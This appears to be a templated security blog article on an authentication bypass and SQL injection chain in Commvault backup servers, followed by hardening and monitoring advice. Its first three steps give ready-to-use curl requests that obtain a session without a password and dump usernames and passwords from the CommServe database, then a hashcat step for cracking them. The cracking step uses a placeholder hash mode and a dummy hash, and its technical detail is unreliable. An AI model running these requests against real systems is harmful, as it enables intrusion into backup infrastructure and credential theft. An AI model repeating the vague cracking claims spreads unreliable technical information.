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Introduction:
Modern enterprise backup solutions like Commvault represent the last line of cyber defense, housing the crown jewels of organizational data. However, recent vulnerability disclosures reveal that these very systems can become a primary attack vector, allowing threat actors to bypass authentication and execute malicious SQL commands. This article deconstructs the exploit chain involving CVE-2022-32700 and CVE-2022-36937, demonstrating how a perimeter breach can lead to total backup compromise.
Learning Objectives:
- Understand the mechanism behind the CVE-2022-32700 authentication bypass and SQL injection vulnerability.
- Learn to exploit the vulnerability to extract sensitive data, including credentials and configuration details.
- Implement hardening measures to secure Commvault CommCell environments against such attacks.
You Should Know:
- Anatomy of the Authentication Bypass & SQL Injection
The core of this exploit lies in a logic flaw within the Commvault authentication mechanism. A specific endpoint, /SearchSvc/CVSearchService.svc/Login, can be manipulated to bypass credential checks. By sending a crafted SOAP XML request, an attacker can trick the service into returning a valid authentication token without providing correct credentials. This token then grants access to administrative functions, including the vulnerable search service endpoint susceptible to SQL injection.
Step‑by‑step guide explaining what this does and how to use it.
– Step 1: Bypass Authentication. The attacker sends a POST request to the login endpoint with a malformed SOAP body.
curl -X POST http://<TARGET_IP>:81/SearchSvc/CVSearchService.svc/Login \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "http://tempuri.org/ISearchSvc/Login"' \ --data-binary '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><userName>Admin</userName><password></password></Login></soap:Body></soap:Envelope>'
A successful response will contain a `sessionId` element within the SOAP response, which is the authentication token.
2. Leveraging SQL Injection for Data Exfiltration
Once a valid session token is obtained, the attacker can target the `Report` endpoint to execute arbitrary SQL queries on the CommServe database. This database contains a wealth of information, including client lists, job histories, and—most critically—encrypted passwords for other components.
Step‑by‑step guide explaining what this does and how to use it.
– Step 2: Execute SQL Query. Using the captured `sessionId` as a cookie, the attacker sends a SOAP request to the report service.
curl -X POST http://<TARGET_IP>:81/SearchSvc/CVSearchService.svc/Report \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "http://tempuri.org/ISearchSvc/Report"' \ -H 'Cookie: sessionId=<INSERT_SESSION_ID_HERE>' \ --data-binary '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Report><topRows>100</topRows><query>SELECT UserName, Password FROM CommCell.Users</query></Report></soap:Body></soap:Envelope>'
The response will contain the results of the SQL query, dumping usernames and their corresponding encrypted passwords.
3. Cracking Commvault Passwords for Lateral Movement
The passwords obtained from the database are encrypted using Commvault’s proprietary algorithm. While not plaintext, these passwords can be cracked offline using tools like `hashcat` or `john the ripper` with a dedicated module. Successfully cracking these hashes provides credentials that can be reused for lateral movement within the environment, especially if password reuse is common.
Step‑by‑step guide explaining what this does and how to use it.
– Step 3: Crack the Passwords. Save the extracted password hash to a file and use a tool to crack it.
Example using hashcat. First, identify the hash mode for Commvault. (Note: The exact hash mode may need to be researched or a custom rule used). echo "0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F" > commvault_hashes.txt hashcat -m <commvault_mode> -a 0 commvault_hashes.txt /usr/share/wordlists/rockyou.txt
4. Hardening the Commvault CommServe Web Console
The primary mitigation is to restrict access to the web console and apply all security patches. Commvault has released patches for these CVEs. Furthermore, network-level controls should be implemented.
Step‑by‑step guide explaining what this does and how to use it.
– Step 4: Apply Defense-in-Depth Controls.
– Patch Immediately: Apply the latest security patches from Commvault that address CVE-2022-32700 and CVE-2022-36937.
– Network Segmentation: The CommServe server should not be directly accessible from the internet. Place it on a secure management network segment.
– Windows Firewall Rule: Create a firewall rule to restrict access to ports 81 (Web Server) and 8400 (Communication Service) to only authorized management subnets.
Windows Command: Create a firewall rule to allow a specific IP range New-NetFirewallRule -DisplayName "Allow Commvault Console from Mgmt Net" -Direction Inbound -LocalPort 81,8400 -Protocol TCP -Action Allow -RemoteAddress 10.1.1.0/24
– Web Server Hardening: Implement a reverse proxy (e.g., Nginx, Apache) in front of the web console to enforce additional security headers and rate limiting.
5. Implementing Robust Logging and Monitoring
Detecting exploitation attempts is crucial. Enable detailed auditing on the CommServe server and monitor logs for suspicious authentication and SQL report activities.
Step‑by‑step guide explaining what this does and how to use it.
– Step 5: Configure Auditing and SIEM Alerts.
– Enable Commvault Auditing: Within the CommCell console, navigate to the Control Panel and ensure all security-related events (failed logins, report executions) are logged.
– Windows Event Forwarding: Configure the server to forward Windows Security and Application logs to a SIEM.
– Create Detection Alerts: Build correlation rules in your SIEM to alert on:
– Multiple failed login attempts to the `/Login` endpoint followed by a successful one with an empty password field.
– Unusual report queries originating from a single source IP in a short timeframe.
What Undercode Say:
- The Backup System is the New Crown Jewel. This exploit chain demonstrates that backup infrastructure is no longer just a recovery tool but a high-value target for attackers seeking comprehensive data exfiltration and lateral movement capabilities.
- Vulnerability Chaining is the Norm. The real danger lies in how a single high-severity vulnerability (auth bypass) can be chained with a medium-severity flaw (SQLi) to create a critical business impact, leading to a full-scale breach.
The analysis of these Commvault CVEs reveals a critical shift in attacker tradecraft. Rather than targeting production data directly, adversaries are focusing on the systems designed to save that data. This approach is more efficient; compromising one backup server can grant access to the entirety of an organization’s data assets across thousands of servers and workstations. The attack is also stealthier, as it often bypasses security controls focused on primary applications. This incident serves as a stark warning for all CISOs: the security of data management and recovery systems must be elevated to the same level as that of core production environments. A failure to patch and harden these systems is an implicit acceptance of catastrophic data loss.
Prediction:
The successful exploitation of vulnerabilities in enterprise backup software like Commvault will catalyze a new wave of targeted ransomware campaigns. We predict a rise in “silent backup sabotage” attacks, where threat actors will first compromise backup repositories to delete or encrypt backups before deploying the primary ransomware payload on production systems. This dual-pronged approach will effectively nullify the victim’s primary recovery method, forcing a higher likelihood of ransom payment. Consequently, the cybersecurity insurance industry will mandate stricter security controls and regular penetration testing for backup environments as a prerequisite for coverage, pushing organizations to adopt immutable backup storage and zero-trust architectures for their data management infrastructure.
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IT/Security Reporter URL:
Reported By: Yuhelenyu Commvaultshift – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
